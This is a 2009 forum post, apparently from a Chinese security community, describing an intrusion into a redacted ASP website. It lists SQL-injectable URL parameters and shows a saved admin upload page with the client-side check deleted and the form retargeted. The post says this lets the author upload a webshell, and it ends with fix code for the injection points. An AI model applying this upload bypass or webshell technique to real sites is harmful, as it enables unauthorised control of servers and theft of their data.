|
服务器地址:http://www.xxxxxx.cn/
服务器存在漏洞文件:
/proshow.asp?classname=
/newlist.asp?newid=
/prolist.asp?proid=
/order.asp?proid=
可以直接猜出管理员用户名及密码
后台有上传功能:
其对上传文件的合法性判断为本地判断:
我们将添加新闻的页面保存到本地,修改上传文件的限制代码:以下为修改好的代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0049)http://www.xxxx.cn/admin/products/picture.asp -->
<HTML><HEAD><TITLE>上传图片</TITLE>
<META http-equiv=Content-Type c><LINK
href="picture.files/style.css" type=text/css rel=stylesheet>
<SCRIPT language=javascript>
// 删除此处的限制代码
</SCRIPT>
<META c name=GENERATOR></HEAD>
<BODY bgColor=#cedbff leftMargin=0 topMargin=0>
<TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0>
<FORM language=javascript name=myform
action=http://www.xxxxx.cn/admin/products/upfile.asp method=post encType=multipart/form-data>
// 修改提交地址
<TBODY>
<TR vAlign=center align=middle>
<TD align=left height=15><INPUT type=file size=15 name=file1> <INPUT class="txt " type=submit value=上传 name=B1 isshowprocessbar="True">
</TD></TR></FORM></TBODY></TABLE></BODY></HTML>
这样我们就可以直接上传我们的大马了。
http://www.xxxxxxx.cn/pic/flaw0r.txt
修复漏洞
1./proshow.asp?classname=
<%
classname=replace(request("classname"),"'","")
if classname="" then
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from products order by proid desc",conn,1,1
%>
/newlist.asp?newid=
<%
Set res=Server.CreateObject("ADODB.RecordSet")
sql="select * from news where newid="&Cint(request("newID"))
res.Open sql,conn,1,1
%>
/prolist.asp?proid=
<%
Set res=Server.CreateObject("ADODB.RecordSet")
sql="select * from products where proid="&Cint(request("proID"))
res.Open sql,conn,1,1
%>
/order.asp?proid=
<%
Set res=Server.CreateObject("ADODB.RecordSet")
sql="select * from products where proid="&Cint (request("proID"))
res.Open sql,conn,1,1
%>
此文无任何恶意,望大虾指点,谢谢!
[ 本帖最后由 flaw0r 于 2009-4-21 16:48 编辑 ] |
|